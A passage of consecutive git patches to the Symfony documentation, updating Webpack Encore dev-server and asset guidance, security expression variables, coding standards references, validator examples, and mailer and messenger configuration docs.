-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
+.. code-block:: javascript
 
-If you experience issues related to CORS (Cross Origin Resource Sharing), add
-the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
-command in the ``package.json`` file:
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
 
-.. code-block:: diff
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+Hot Module Replacement HMR
+--------------------------
 
-.. caution::
+Hot module replacement is a superpower of the ``dev-server`` where styles and
+(in some cases) JavaScript can automatically update without needing to reload
+your page. HMR works automatically with CSS (as long as you're using the
+``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
+(like :doc:`Vue.js </frontend/encore/vuejs>`).
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
-    here it's required to solve the CORS issue.
+.. versionadded:: 1.0.0
 
+    Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line
+    to enable HMR. You also needed to disable CSS extraction to enable HMR for
+    CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index bbd6469a1c3..ef77cfe71ed 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -54,7 +54,7 @@ is the main config file for both Webpack and Webpack Encore:
 
 .. code-block:: javascript
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // Manually configure the runtime environment if not already configured yet by the "encore" command.
     // It's useful when you use tools that rely on webpack.config.js file.
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
deleted file mode 100644
index a2c2d08ea2a..00000000000
--- a/frontend/encore/shared-entry.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-Creating a Shared Commons Entry
-===============================
-
-.. caution::
-
-    While this method still works, see :doc:`/frontend/encore/split-chunks` for
-    the preferred solution to sharing assets between multiple entry files.
-
-Suppose you have multiple entry files and *each* requires ``jquery``. In this
-case, *each* output file will contain jQuery, slowing down your user's experience.
-To solve this, you can *extract* the common libraries to a "shared" entry file
-that's included on every page.
-
-Suppose you already have an entry called ``app`` that's included on every page.
-Update your code to use ``createSharedEntry()``:
-
-.. code-block:: diff
-
-    Encore
-        // ...
-    -     .addEntry('app', './assets/app.js')
-    +     .createSharedEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
-
-Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
-then ``jquery`` would be packaged into *both* files, which is wasteful. By making
-``app.js`` your "shared" entry, *any* code required by ``app.js`` (like jQuery) will
-*no longer* be packaged into any other files. The same is true for any CSS.
-
-Because ``app.js`` contains all the common code that other entry files depend on,
-its script (and link) tag must be on every page.
-
-.. tip::
-
-    The ``app.js`` file works best when its contents are changed *rarely*
-    and you're using :ref:`long-term caching <encore-long-term-caching>`. Why?
-    If ``app.js`` contains application code that *frequently* changes, then
-    (when using versioning), its filename hash will frequently change. This means
-    your users won't enjoy the benefits of long-term caching for this file (which
-    is generally quite large).
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index dd93a31cf37..cda018f36e8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -19,8 +19,6 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-    // import $ from 'jquery';
-
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
@@ -35,7 +33,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -130,6 +128,8 @@ filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
@@ -147,13 +147,13 @@ some optional features.
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
 files. First, create a file that exports a function:
 
 .. code-block:: javascript
 
     // assets/greet.js
-    module.exports = function(name) {
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -163,7 +163,7 @@ We'll use jQuery to print this message on the page. Install it via:
 
     $ yarn add jquery --dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
@@ -171,11 +171,11 @@ Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
     // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import jquery from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -185,37 +185,6 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
-
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
-
-To export values using the alternate syntax, use ``export``:
-
-.. code-block:: diff
-
-    // assets/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
-
-To import values, use ``import``:
-
-.. code-block:: diff
-
-    // assets/app.js
-    - require('../styles/app.css');
-    + import './styles/app.css';
-
-    - var $ = require('jquery');
-    + import $ from 'jquery';
-
-    - var greet = require('./greet');
-    + import greet from './greet';
-
 .. _multiple-javascript-entries:
 
 Page-Specific JavaScript or CSS (Multiple Entries)
@@ -357,5 +326,4 @@ Encore supports many more features! For a full list of what you can do, see
 `Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 0205537b7d0..5569a9731f3 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -23,9 +23,10 @@ To enable this, call ``splitEntryChunks()``:
 
 
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
-(e.g. ``homepage.js``, ``vendor~homepage.js``). This means that you *may* need to
-include *multiple* ``script`` tags (or ``link`` tags for CSS) in your template.
-Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
+(e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
+filename of the second will be less obvious when you build for production). This
+means that you *may* need to include *multiple* ``script`` tags (or ``link`` tags
+for CSS) in your template. Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
 file that lists exactly which CSS and JavaScript files are needed for each entry.
 
 If you're using the ``encore_entry_link_tags()`` and ``encore_entry_script_tags()``
@@ -37,9 +38,9 @@ tags as needed:
 
     {#
         May now render multiple script tags:
-            <script src="/build/runtime.js"></script>
-            <script src="/build/vendor~homepage.js"></script>
-            <script src="/build/homepage.js"></script>
+            <script src="/build/runtime.js" defer></script>
+            <script src="/build/vendors-node_modules_jquery_dist_jquery_js.js" defer></script>
+            <script src="/build/homepage.js" defer></script>
     #}
     {{ encore_entry_script_tags('homepage') }}
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..9567960c99d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,18 +1,11 @@
-Inlining files in CSS with Webpack URL Loader
-=============================================
+Inlining Images & Fronts in CSS
+===============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
 generated CSS files.
 
-Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
-it's disabled by default. First, add the URL loader to your project:
-
-.. code-block:: terminal
-
-    $ yarn add url-loader --dev
-
-Then enable it in your ``webpack.config.js``:
+You can enable this in ``webpack.config.js`` for images, fonts or both:
 
 .. code-block:: javascript
 
@@ -21,31 +14,19 @@ Then enable it in your ``webpack.config.js``:
 
     Encore
         // ...
-        .configureUrlLoader({
-            fonts: { limit: 4096 },
-            images: { limit: 4096 }
+        .configureImageRule({
+            // tell Webpack it should consider inlining
+            type: 'asset',
+            //maxSize: 4 * 1024, // 4 kb - the default is 8kb
         })
-    ;
-
-The ``limit`` option defines the maximum size in bytes of the inlined files. In
-the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
-
-You can also use all the other options supported by the `URL Loader`_. If you
-want to disable this loader for either images or fonts, remove the corresponding
-key from the object that is passed to the ``configureUrlLoader()`` method:
-
-.. code-block:: javascript
-
-    // webpack.config.js
-    // ...
 
-    Encore
-        // ...
-        .configureUrlLoader({
-            // 'fonts' is not defined, so only images will be inlined
-            images: { limit: 4096 }
+        .configureFontRule({
+            type: 'asset',
+            //maxSize: 4 * 1024
         })
     ;
 
-.. _`URL Loader`: https://github.com/webpack-contrib/url-loader
+This leverages Webpack `Asset Modules`_. You can read more about this and the
+configuration there.
+
+.. _`Asset Modules`: https://webpack.js.org/guides/asset-modules/
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3d10eedcd41..eb8e2793c82 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -65,11 +65,11 @@ Hot Module Replacement (HMR)
 
 The ``vue-loader`` supports hot module replacement: just update your code and watch
 your Vue.js app update *without* a browser refresh! To activate it, use the
-``dev-server`` with the ``--hot`` option:
+``dev-server``:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --hot
+    $ yarn encore dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From 47d7639fa796d47fab5492d8a912c51f58536e35 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 4 Feb 2021 19:28:08 -0500
Subject: [PATCH 0456/5766] re-adding warning about host check

---
 frontend/encore/dev-server.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b5683109092..3edd2d8ef83 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -97,6 +97,9 @@ the ``firewall`` option:
             options.firewall = false;
         })
 
+Beware that `it's not recommended to disable the firewall`_ in general, but
+here it's required to solve the CORS issue.
+
 Hot Module Replacement HMR
 --------------------------
 
@@ -113,3 +116,4 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
\ No newline at end of file

From bc6ca521abf3472abd70f92eb68498aa55b3f752 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:01:32 +0100
Subject: [PATCH 0457/5766] Minor tweak

---
 security/expressions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 6ea9d56a5d6..91454691d5f 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -43,8 +43,8 @@ Inside the expression, you have access to a number of variables:
     indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``role_names``
-    A string representation of the roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+    An array with the string representation of the roles the user has. This array
+    includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.

From 77ace60dd9145a36b813aa4ce51af35f39d17097 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:02:25 +0100
Subject: [PATCH 0458/5766] Removed the "roles" variable

---
 security/expressions.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 0740512ed04..cfdf006466c 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -38,10 +38,6 @@ Inside the expression, you have access to a number of variables:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
-``roles``
-    The array of roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
-    does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From 451168397cdd0fa609bd1d68b7a8bbab22e66692 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:10:36 +0100
Subject: [PATCH 0459/5766] Mention the "subject" expression language variable

---
 security/expressions.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 91454691d5f..2ed16878ff2 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -48,6 +48,8 @@ Inside the expression, you have access to a number of variables:
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
+``subject``
+    It stores the same value as ``object``, so they are equivalent.
 ``token``
     The token object.
 ``trust_resolver``

From 4539584ba51b3716ec7fabca591037a6341db82d Mon Sep 17 00:00:00 2001
From: Alexandre Mallet <woprrr.dev@gmail.com>
Date: Thu, 4 Feb 2021 16:03:52 +0100
Subject: [PATCH 0460/5766] Change deprecated psr 2 to psr 12 from doc

PSR 2 => PSR 12
---
 contributing/code/standards.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 586a868aae2..0371a518632 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,7 +5,7 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_ and `PSR-4`_
+These Symfony coding standards are based on the `PSR-1`_, `PSR-12`_ and `PSR-4`_
 standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards

From 2c7042fe4abe6c64b94a69372a558d1dc354cba4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 16:49:16 +0100
Subject: [PATCH 0461/5766] Added the missing reference

---
 contributing/code/standards.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 0371a518632..1ee3c5380ed 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,8 +5,8 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-12`_ and `PSR-4`_
-standards, so you may already know most of them.
+These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_, `PSR-4`_
+and `PSR-12`_ standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards
 --------------------------------------------
@@ -287,6 +287,7 @@ License
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
+.. _`PSR-12`: https://www.php-fig.org/psr/psr-12/
 .. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php
 .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case

From a32dd60d073d24bbfb2a6934e85a66842b10d1c9 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 12:26:54 +0100
Subject: [PATCH 0462/5766] [Validator] Use single quotes for a string

---
 reference/constraints/EqualTo.rst     | 2 +-
 reference/constraints/IdenticalTo.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 75d80043cda..a4721a086c3 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -61,7 +61,7 @@ and that the ``age`` is ``20``, you could do the following:
 
         class Person
         {
-            #[Assert\EqualTo("Mary")]
+            #[Assert\EqualTo('Mary')]
             protected $firstName;
 
             #[Assert\EqualTo(
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 7dc71b475f0..27ba84e59fe 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -63,7 +63,7 @@ The following constraints ensure that:
 
         class Person
         {
-            #[Assert\IdenticalTo("Mary")]
+            #[Assert\IdenticalTo('Mary')]
             protected $firstName;
 
             #[Assert\IdenticalTo(

From 648bd07c2fd9bfdaba54590da94ca3d610880ec8 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 12:50:36 +0100
Subject: [PATCH 0463/5766] [Validator] Use correct single quotes for a string

---
 reference/constraints/IsFalse.rst | 2 +-
 reference/constraints/IsTrue.rst  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index e476fb25387..5b2597d8657 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -3,7 +3,7 @@ IsFalse
 
 Validates that a value is ``false``. Specifically, this checks to see if
 the value is exactly ``false``, exactly the integer ``0``, or exactly the
-string "``0``".
+string ``'0'``.
 
 Also see :doc:`IsTrue <IsTrue>`.
 
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2066b6d4e73..d9d53b04f82 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -2,7 +2,7 @@ IsTrue
 ======
 
 Validates that a value is ``true``. Specifically, this checks if the value is
-exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``.
+exactly ``true``, exactly the integer ``1``, or exactly the string ``'1'``.
 
 Also see :doc:`IsFalse <IsFalse>`.
 

From 35467b97d09033f2d2f0fc777fe335f25340f55f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 13:06:50 +0100
Subject: [PATCH 0464/5766] [Validator] Add a missing dot

The other two issues end with a dot.
---
 reference/constraints/Sequentially.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 21e088ba689..da7bd16f4b2 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -35,7 +35,7 @@ In such situations, you may encounter three issues:
 
 * the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
   exception if the actual value is not a string, as enforced by ``Type``.
-* you may end with multiple error messages for the same property
+* you may end with multiple error messages for the same property.
 * you may perform a useless and heavy external call to geolocalize the address,
   while the format isn't valid.
 

From 7332254b3eff85db5f5aac8cce574b28eec72ac0 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 4 Feb 2021 21:20:10 -0500
Subject: [PATCH 0465/5766] Adding notes related to the dev-server https fix in
 Encore

---
 frontend/encore/dev-server.rst | 32 ++++++++++++++++++++------------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 3edd2d8ef83..b1f72e5996b 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -21,12 +21,18 @@ you're done: the paths in your templates will automatically point to the dev ser
 dev-server Options
 ------------------
 
+.. caution::
+
+    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
+    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
+    for changes.
+
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+    $ yarn encore dev-server --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
@@ -58,26 +64,27 @@ If you're using the :doc:`Symfony web server </setup/symfony_server>` locally wi
 you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
 server SSL certificate:
 
-.. code-block:: javascript
+.. code-block:: diff
 
     // webpack.config.js
     // ...
-    const path = require('path');
+    + const path = require('path');
 
     Encore
         // ...
 
-        .configureDevServerOptions(options => {
-            options.https = {
-                pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
-            }
-        })
+    +     .configureDevServerOptions(options => {
+    +         options.https = {
+    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         }
+    +     })
 
-Then make sure you run the ``dev-server`` with the ``--https`` option:
 
-.. code-block:: terminal
+.. caution::
 
-    $ yarn encore dev-server --https
+    Make sure to **not** pass the ``--https`` flag at the command line when
+    running ``encore dev-server``. This flag was required before 1.0, but now
+    will cause your config to be overridden.
 
 CORS Issues
 -----------
@@ -116,4 +123,5 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
\ No newline at end of file
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From 91ecbdab13bcc81144dfdabfc866c9c0351a5e24 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 7 Feb 2021 17:09:18 +0100
Subject: [PATCH 0466/5766] Clarify the role of http_method_override

---
 forms.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 1654aa3deba..17cd593d416 100644
--- a/forms.rst
+++ b/forms.rst
@@ -777,7 +777,8 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. See the :ref:`configuration-framework-http_method_override` option.
+    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    option must be enabled for this to work.
 
 Changing the Form Name
 ~~~~~~~~~~~~~~~~~~~~~~

From 6b35baff53bc705452250cee5d2d24640a915024 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 7 Feb 2021 14:46:17 +0100
Subject: [PATCH 0467/5766] Document the way to configure emails globally

---
 mailer.rst | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 76 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 9c9c1451add..89be86382a4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -320,8 +320,7 @@ both strings or address objects::
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
-    create an :doc:`event subscriber </event_dispatcher>` and listen to the
-    :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
 .. note::
@@ -373,6 +372,12 @@ header, etc.) but most of the times you'll set text headers::
         // ...
     ;
 
+.. tip::
+
+    Instead of calling ``->addTextHeader()`` *every* time you create a new email, you can
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the same
+    headers to all sent emails.
+
 Message Contents
 ~~~~~~~~~~~~~~~~
 
@@ -448,6 +453,75 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
+.. _mailer-configure-email-globally:
+
+Configuring Emails Globally
+---------------------------
+
+Instead of calling ``->from()`` on each Email you create, you can configure this
+value globally so that it is set on all sent emails. The same is true with ``->to()``
+and headers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                envelope:
+                    sender: 'fabien@example.com'
+                    recipients: ['foo@example.com', 'bar@example.com']
+                headers:
+                    from: 'Fabien <fabien@example.com>'
+                    bcc: 'baz@example.com'
+                    X-Custom-Header: 'foobar'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:recipients>foo@example.com</framework:recipients>
+                        <framework:recipients>bar@example.com</framework:recipients>
+                    </framework:envelope>
+                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="X-Custom-Header">foobar</framework:header>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'mailer' => [
+                'envelope' => [
+                    'sender' => 'fabien@example.com',
+                    'recipients' => ['foo@example.com', 'bar@example.com'],
+                ],
+                'headers' => [
+                    'from' => 'Fabien <fabien@example.com>',
+                    'bcc' => 'baz@example.com',
+                    'X-Custom-Header' => 'foobar',
+                ],
+            ],
+        ]);
+
+
 Handling Sending Failures
 -------------------------
 

From 3b1c006d0d60fe4bb00fefff93cbbbc17cb63d4b Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Feb 2021 18:36:19 +0100
Subject: [PATCH 0468/5766] [CS] Add comma after last array item in multi-line
 array

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2947f18cb68..83b7d59dff4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -188,7 +188,7 @@ that uses this configuration:
                     // or expanded to configure more options
                     'async' => [
                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => []
+                       'options' => [],
                     ],
                 ],
             ],

From 4c041bc7374cfa66cedc172efd6acd4857db1704 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Feb 2021 09:11:38 +0100
Subject: [PATCH 0469/5766] Added the versionadded directive

---
 mailer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 89be86382a4..ed2e0ccf041 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -521,6 +521,9 @@ and headers.
             ],
         ]);
 
+.. versionadded:: 5.2
+
+    The ``headers`` option was introduced in Symfony 5.2.
 
 Handling Sending Failures
 -------------------------

From 98d97b0a575c67dcd30e1f77117aca446d376511 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 9 Feb 2021 19:56:46 +0100
Subject: [PATCH 0470/5766] [Messenger][CS] Add missing commas in PHP
 configurations

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

